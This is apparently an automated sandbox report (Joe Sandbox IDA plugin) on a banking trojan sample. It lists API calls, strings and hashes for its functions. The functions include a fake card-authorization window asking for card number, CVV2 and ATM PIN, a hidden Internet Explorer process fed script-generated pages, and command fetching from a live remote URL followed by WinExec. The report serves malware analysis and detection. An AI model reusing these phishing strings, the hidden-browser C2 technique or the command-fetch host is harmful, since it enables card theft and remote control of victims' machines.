memset.CRTDLL(?,00000000,00000010,0042C48C,00000000,?), ref: 00405C7F

Part of subcall function 0040429C: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3

ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,00000000,?), ref: 00405CC2

Part of subcall function 0040570C: GetTempPathA.KERNEL32(00000104,?), ref: 00405730
Part of subcall function 0040570C: strcat.CRTDLL(?,.htm), ref: 00405764
Part of subcall function 0040570C: sprintf.CRTDLL(?,<html>), ref: 00405778
Part of subcall function 0040570C: rand.CRTDLL ref: 00405786
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 004057A4
Part of subcall function 0040570C: rand.CRTDLL ref: 004057AC
Part of subcall function 0040570C: rand.CRTDLL ref: 004057BE
Part of subcall function 0040570C: sprintf.CRTDLL(?,%s,?), ref: 004057DF
Part of subcall function 0040570C: rand.CRTDLL ref: 004057E7
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405805
Part of subcall function 0040570C: strcat.CRTDLL(?,<head>), ref: 00405819
Part of subcall function 0040570C: rand.CRTDLL ref: 00405827
Part of subcall function 0040570C: strcat.CRTDLL(?,0042CC6C), ref: 00405845
Part of subcall function 0040570C: rand.CRTDLL ref: 0040584D

strcat.CRTDLL(?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405CF7
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D0A

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,00000104,?,?,?,?,00000000,?), ref: 00405D2B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405D95
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DA8
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405DCA
FindWindowA.USER32(IEFrame,?), ref: 00405DED
Sleep.KERNEL32(000003E8,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405DFD
Sleep.KERNEL32(0000F000,IEFrame,?,00000000,00000000,00000044,?,?,?,?,?,?,?,?,?,?), ref: 00405E20
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405E38
CopyFileA.KERNEL32(?,?,00000000), ref: 00405E85
DeleteFileA.KERNEL32(?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EA4
lstrlenA.KERNEL32(<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405EAE
strncmp.CRTDLL(00000000,<HTML><!--,00000000,<HTML><!--,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000), ref: 00405EBA
lstrlenA.KERNEL32(<HTML><!--,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000,00000044,?), ref: 00405ECB
LocalFree.KERNEL32(00000000,?,?,?,?,00000000,?,?,00000000,?,?,0000F000,IEFrame,?,00000000,00000000), ref: 00405F0F
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F2B
TerminateProcess.KERNEL32(?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F38
CloseHandle.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405F49

Strings

MicroSoft-Corp, xrefs: 00405DB9
Software\Microsoft\IE Setup\Setup, xrefs: 00405C95
%s%u - Microsoft Internet Explorer, xrefs: 00405DBE
X-okRecv11, xrefs: 00405E3F
<HTML><!--, xrefs: 00405EA9, 00405EB4, 00405EC6
\Iexplore.exe , xrefs: 00405CEB
Path, xrefs: 00405C90
IEFrame, xrefs: 00405DE8
D, xrefs: 00405D39

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: strcat$rand$Filelstrlensprintf$CloseDeleteHandleProcessSleepThreadWindowmemset$CopyCountCreateCurrentDesktopEnvironmentExpandFindFreeIncrementInterlockedLocalOpenPathStringsTempTerminateTextTicksrandstrncmp
String ID: %s%u - Microsoft Internet Explorer$<HTML><!--$D$IEFrame$MicroSoft-Corp$Path$Software\Microsoft\IE Setup\Setup$X-okRecv11$\Iexplore.exe
API String ID: 4103625910-1993706416
Opcode ID: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction ID: dc295d18008c6f961fbff17ccdc6ec9b88b81df80f56d8f6893aa762a7281c5f
Opcode Fuzzy Hash: b9d5d98bcea3d6b4cff9c9a0aa81b3c666a447f1829ed1e8b0ebd8478639a6cb
Instruction Fuzzy Hash: 7B81A8B1E041186ADB20B665CC4ABDEB7BD9F40304F1444F7B608F61D1E6B99F848F59

Function 00406753 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

Part of subcall function 004013CC: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004013EF

Part of subcall function 004054D7: lstrlenA.KERNEL32(?), ref: 004054F1
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?), ref: 00405505
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?), ref: 00405513
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
Part of subcall function 004054D7: LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
Part of subcall function 004054D7: memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
Part of subcall function 004054D7: CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
Part of subcall function 004054D7: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
Part of subcall function 004054D7: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8

Part of subcall function 00401348: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00401375

Strings

Software\Microsoft, xrefs: 004067C5, 0040680B

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: lstrlen$Create$FileThread$AllocCloseCodeExitHandleLocalObjectOpenSingleSizeWaitmemcpy
String ID: Software\Microsoft
API String ID: 3232930010-89712428
Opcode ID: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction ID: db3b40ff5e41acc5bdae17a6e42d24a18e18c948de20eb22515eb7809feee29e
Opcode Fuzzy Hash: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction Fuzzy Hash: C3219972E002097BEB10AE998D42FDEBAA8DB04714F644077FB00B61E1E6B55A108B99

Function 00406075 Relevance: 124.7, APIs: 52, Strings: 19, Instructions: 488
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405FFA: GetWindow.USER32(?,00000005), ref: 00406019

Part of subcall function 00405FFA: GetClassNameA.USER32(00000000,?,00000FFF), ref: 0040603B

ShowWindow.USER32(00000000), ref: 004060B9
GetWindowRect.USER32(00000000,?), ref: 004060C9
CreateWindowExA.USER32(00000200,QueenKarton,0042CBF0,50800000,00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004060FF
CreateWindowExA.USER32(00000000,STATIC, Authorization Failed.,50800000,00000014,00000014,?,0000003C,00000000,00000000,00000000,00000200), ref: 00406135
CreateWindowExA.USER32(00000000,STATIC,0042CBF0,50800009,00000014,00000051,?,0000012C,00000000,00000000,00000000,STATIC), ref: 00406179
CreateFontA.GDI32(00000014,00000008,00000000,00000000,000002BC,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 004061A2
SendMessageA.USER32(00000030,00000000,00000001,00000000), ref: 004061B4
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,00000014,00000014,00000064,00000064,00000000,00000000,STATIC,0042CBF0), ref: 004061E2
SendMessageA.USER32(00000000,00000143,00000000,MasterCard), ref: 004061FF
SendMessageA.USER32(00000143,00000000,Visa,00000000), ref: 00406216
SendMessageA.USER32(0000014E,00000001,00000000,00000143), ref: 00406233
SendMessageA.USER32(0000014E,00000000,00000000,00000143), ref: 00406249
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,0000007A,00000014,00000032,0000012C,00000000,00000000,0000014E,00000000), ref: 0040627A
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX), ref: 004062B9
sprintf.CRTDLL(?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX,0042CBF0), ref: 004062DF
SendMessageA.USER32(00000143,00000000,?,?), ref: 004062F5
sprintf.CRTDLL(?,20%.2u,-00000002,00000143,00000000,?,?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C), ref: 0040630B
SendMessageA.USER32(00000143,00000000,?,?), ref: 00406324
CreateWindowExA.USER32(00000000,STATIC,Card && expiration date,50000000,00000114,0000006E,00000081,00000010,00000000,00000000,00000143,00000000), ref: 0040636B
CreateWindowExA.USER32(00000000,STATIC,Your card number,50000000,000000C3,00000087,00000067,00000010,00000000,00000000,00000000,STATIC), ref: 004063AA
CreateWindowExA.USER32(00000000,STATIC,3-digit validation code on back of card (cvv2),50000000,00000064,000000A0,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 004063E3
CreateWindowExA.USER32(00000000,STATIC,ATM PIN-Code,50000000,000000A0,000000B9,00000056,00000010,00000000,00000000,00000000,STATIC), ref: 0040641C
CreateWindowExA.USER32(00000000,STATIC,Unable to authorize. ATM PIN-Code is required to complete the transaction.,50000000,0000001E,000000E6,000001E4,00000010,00000000,00000000,00000000,STATIC), ref: 00406455
CreateWindowExA.USER32(00000000,STATIC,Please make corrections and try again.,50000000,0000001E,000000FF,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 0040648E
CreateWindowExA.USER32(00000200,EDIT,00429180,50800000,00000014,0000002D,00000082,00000018,00000000,00000000,00000000,STATIC), ref: 004064C7
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,00000046,00000028,00000018,00000000,00000000,00000200,EDIT), ref: 00406503
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,0000005F,00000064,00000018,00000000,00000000,00000200,EDIT), ref: 00406539
CreateWindowExA.USER32(00000000,BUTTON,Click Once To Continue,50800000,0000001E,00000140,0000009B,00000017,00000000,00000000,00000200,EDIT), ref: 00406572
CreateFontA.GDI32(00000010,00000006,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 0040659B
SendMessageA.USER32(00000030,00000000,00000001,00000010), ref: 004065B3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065C3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065D3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065E3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065F9
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406609
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406619
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406632
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406642
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406652
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406662
GetWindowLongA.USER32(000000FC,00000030), ref: 0040666F
SetWindowLongA.USER32(000000FC,004077E4,00000000), ref: 00406686
GetWindowLongA.USER32(000000FC,00000001), ref: 00406699
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066B0
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066BD
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066D4
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066E1
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066F8
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406705
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 0040671C
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406732
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 00406749

Strings

Click Once To Continue, xrefs: 00406566
Unable to authorize. ATM PIN-Code is required to complete the transaction., xrefs: 00406449
MasterCard, xrefs: 004061F2
20%.2u, xrefs: 00406302
COMBOBOX, xrefs: 004061DB, 00406273, 004062B2
QueenKarton, xrefs: 004060F5
ATM PIN-Code, xrefs: 00406410
STATIC, xrefs: 0040612E, 00406172, 00406364, 004063A3, 004063DC, 00406415, 0040644E, 00406487
Your card number, xrefs: 0040639E
EDIT, xrefs: 004064BD, 004064F9, 0040652F
BUTTON, xrefs: 0040656B
Visa, xrefs: 00406204
DocObject, xrefs: 00406089
Please make corrections and try again., xrefs: 00406482
%.2u, xrefs: 004062D6
Card && expiration date, xrefs: 0040635F
3-digit validation code on back of card (cvv2), xrefs: 004063D7
Explorer, xrefs: 00406098
Authorization Failed., xrefs: 00406129

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: Window$CreateMessageSend$Long$Fontsprintf$ClassNameRectShow
String ID: Authorization Failed.$%.2u$20%.2u$3-digit validation code on back of card (cvv2)$ATM PIN-Code$BUTTON$COMBOBOX$Card && expiration date$Click Once To Continue$DocObject$EDIT$Explorer$MasterCard$Please make corrections and try again.$QueenKarton$STATIC$Unable to authorize. ATM PIN-Code is required to complete the transaction.$Visa$Your card number
API String ID: 1504929638-2953596215
Opcode ID: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction ID: 07d4a47d2009414dc6278682baa0b56b1decc7bc7d2f3e077783c243e1dcc7f7
Opcode Fuzzy Hash: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction Fuzzy Hash: 43F16F31BC43157AFA212B61ED43FA93A66AF14F44F60413AB700BD0F1DAF92911AB5D

Function 0040570C Relevance: 122.9, APIs: 56, Strings: 14, Instructions: 371
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 00405730
strcat.CRTDLL(?,.htm), ref: 00405764
sprintf.CRTDLL(?,<html>), ref: 00405778
rand.CRTDLL ref: 00405786
strcat.CRTDLL(?,0042CC6C), ref: 004057A4
rand.CRTDLL ref: 004057AC
rand.CRTDLL ref: 004057BE
sprintf.CRTDLL(?,%s,?), ref: 004057DF
rand.CRTDLL ref: 004057E7
strcat.CRTDLL(?,0042CC6C), ref: 00405805
strcat.CRTDLL(?,<head>), ref: 00405819
rand.CRTDLL ref: 00405827
strcat.CRTDLL(?,0042CC6C), ref: 00405845
rand.CRTDLL ref: 0040584D
rand.CRTDLL ref: 0040585F
sprintf.CRTDLL(?,%s,?), ref: 00405880
sprintf.CRTDLL(?,%s<title>%s%u</title>,?,MicroSoft-Corp,?), ref: 004058A3
rand.CRTDLL ref: 004058B1
strcat.CRTDLL(?,0042CC6C), ref: 004058CF
strcat.CRTDLL(?,</head>), ref: 004058E3
rand.CRTDLL ref: 004058EB
strcat.CRTDLL(?,0042CC6C), ref: 00405909
strcat.CRTDLL(?,<body>), ref: 0040591D
rand.CRTDLL ref: 0040592B
rand.CRTDLL ref: 0040593D
sprintf.CRTDLL(?,%s,?), ref: 0040595E
strcat.CRTDLL(?,<script>), ref: 00405972
rand.CRTDLL ref: 0040597A
strcat.CRTDLL(?,0042CC6C), ref: 00405998
strcat.CRTDLL(?,function x()), ref: 004059AC
rand.CRTDLL ref: 004059C0
strcat.CRTDLL(?,0042CC6C), ref: 004059DE
strcat.CRTDLL(?,0042CA2E), ref: 004059F2
rand.CRTDLL ref: 004059FA
strcat.CRTDLL(?,0042CC6C), ref: 00405A18
sprintf.CRTDLL(?,%sself.parent.location="%s";,?,?), ref: 00405A42
rand.CRTDLL ref: 00405A4A
strcat.CRTDLL(?,0042CC6C), ref: 00405A68
strcat.CRTDLL(?,0042CA14), ref: 00405A7C
rand.CRTDLL ref: 00405A8A
strcat.CRTDLL(?,0042CC6C), ref: 00405AA8
rand.CRTDLL ref: 00405AB0
sprintf.CRTDLL(?,%ssetTimeout("x()",%u);,?), ref: 00405AD9
rand.CRTDLL ref: 00405AE1
strcat.CRTDLL(?,0042CC6C), ref: 00405AFF
strcat.CRTDLL(?,</script>), ref: 00405B13
rand.CRTDLL ref: 00405B27
strcat.CRTDLL(?,0042CC6C), ref: 00405B45
rand.CRTDLL ref: 00405B4D
rand.CRTDLL ref: 00405B5F
sprintf.CRTDLL(?,%s,?), ref: 00405B80
strcat.CRTDLL(?,</body><html>), ref: 00405B94
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BAC
lstrlenA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BCD
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BE9
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BF4

Strings

%s, xrefs: 004057D3, 00405874, 00405952, 00405B74
MicroSoft-Corp, xrefs: 0040588B
%sself.parent.location="%s";, xrefs: 00405A36
<body>, xrefs: 00405911
function x(), xrefs: 004059A0
</body><html>, xrefs: 00405B88
<html>, xrefs: 0040576C
</script>, xrefs: 00405B07
%s<title>%s%u</title>, xrefs: 00405897
.htm, xrefs: 0040575E
</head>, xrefs: 004058D7
%ssetTimeout("x()",%u);, xrefs: 00405ACD
<head>, xrefs: 0040580D
<script>, xrefs: 00405966

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: strcat$rand$sprintf$File$CloseCreateHandlePathTempWritelstrlen
String ID: %s$%s<title>%s%u</title>$%sself.parent.location="%s";$%ssetTimeout("x()",%u);$.htm$</body><html>$</head>$</script>$<body>$<head>$<html>$<script>$MicroSoft-Corp$function x()
API String ID: 4291226702-3565490566
Opcode ID: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction ID: 1c5cdfde58a584b0b9fe07ae47c92bc765a9e47636cc13cf9b12a0be20bdf5ec
Opcode Fuzzy Hash: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction Fuzzy Hash: 93B1CAB6F0132416EB14A262DCC6B6D31AA9B85704F6404FFF508731C2E67C6E558AFE

Function 004068B0 Relevance: 61.5, APIs: 22, Strings: 13, Instructions: 221
stringprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405F5B: lstrlenA.KERNEL32(?), ref: 00405F73
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,?), ref: 00405F7E
Part of subcall function 00405F5B: LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
Part of subcall function 00405F5B: DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
Part of subcall function 00405F5B: CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
Part of subcall function 00405F5B: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
Part of subcall function 00405F5B: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
Part of subcall function 00405F5B: CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

sscanf.CRTDLL(0000003A,:%02u,?), ref: 0040695B
rand.CRTDLL ref: 00406972
sprintf.CRTDLL(?,%s\cmd.pif,00429080), ref: 004069B5
sprintf.CRTDLL(?,%s\cmd.exe,00429080,?,%s\cmd.pif,00429080), ref: 004069D1
GetWindowsDirectoryA.KERNEL32(?,00000400), ref: 004069E7
sprintf.CRTDLL(?,%s\command.pif,?,?,00000400), ref: 00406A0E
strcat.CRTDLL(?,\command.com,?,%s\command.pif,?,?,00000400), ref: 00406A1F
DeleteFileA.KERNEL32(?,?,?,?,?,00000400), ref: 00406A2E
sprintf.CRTDLL(?,%s /C %s,?,00000036,?,?,?,?,?,00000400), ref: 00406A50
WinExec.KERNEL32(?,00000000), ref: 00406A61
atoi.CRTDLL(00000035), ref: 00406A8E
sprintf.CRTDLL(?,%s\Rtdx1%i.dat,00429080,0000000C), ref: 00406AC4
lstrlenA.KERNEL32(?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406AE4
sprintf.CRTDLL(0000002F,%s/Rtdx1%i.htm,0000002F,0000000C,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B45
lstrlenA.KERNEL32(?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B54
lstrlenA.KERNEL32(0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B66
LocalAlloc.KERNEL32(00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B78
lstrlenA.KERNEL32(?,?,?,00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406BA2
CreateThread.KERNEL32(00000000,00000000,Function_0000686C,?,00000000,0000000C), ref: 00406BD6
CloseHandle.KERNEL32(00000000,00000000,00000000,Function_0000686C,?,00000000,0000000C,?,0000002F,?,?,?,00000040,?,0000002F,?), ref: 00406BDC
LocalFree.KERNEL32(?,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406C07
_sleep.CRTDLL(001B7740), ref: 00406C17

Strings

\command.com, xrefs: 00406A13
%s\command.pif, xrefs: 00406A02
%s\cmd.pif, xrefs: 004069A9
/, xrefs: 00406AF7
:%02u, xrefs: 0040694F
%s\cmd.exe, xrefs: 004069C5
%s/Rtdx1%i.htm, xrefs: 00406B39
:, xrefs: 00406927
:, xrefs: 00406934
wupd , xrefs: 00406A68
http://tat-neftbank.ru/wcmd.htm, xrefs: 004068CC, 00406ACC
%s\Rtdx1%i.dat, xrefs: 00406AB8
%s /C %s, xrefs: 00406A44

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: lstrlen$sprintf$LocalThread$AllocCloseCreateDeleteHandle$CacheCodeDirectoryEntryExecExitFileFreeObjectSingleWaitWindows_sleepatoirandsscanfstrcat
String ID: %s /C %s$%s/Rtdx1%i.htm$%s\Rtdx1%i.dat$%s\cmd.exe$%s\cmd.pif$%s\command.pif$/$:$:$:%02u$\command.com$http://tat-neftbank.ru/wcmd.htm$wupd
API String ID: 4275340860-3363018154
Opcode ID: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction ID: 18f08bfc30c9890c11dd244c38850a50baba5aa484248b9ca7ce56826a71177a
Opcode Fuzzy Hash: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction Fuzzy Hash: 328163B1E08228ABDB21A6658D46BD977BCDB04304F5105F7E60CB21C1E67C7F948F99

Function 004052E0 Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 115sleepstringprocessCOMMON

Download Yara Rule

APIs

strcat.CRTDLL(?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052F8
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?), ref: 0040530B

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?), ref: 0040532C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040539F
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053B2
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053D4
Sleep.KERNEL32(00007800,00000000,00000000,00000044,?), ref: 00405426
Sleep.KERNEL32(0000F000,00007800,00000000,00000000,00000044,?), ref: 00405439
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405451
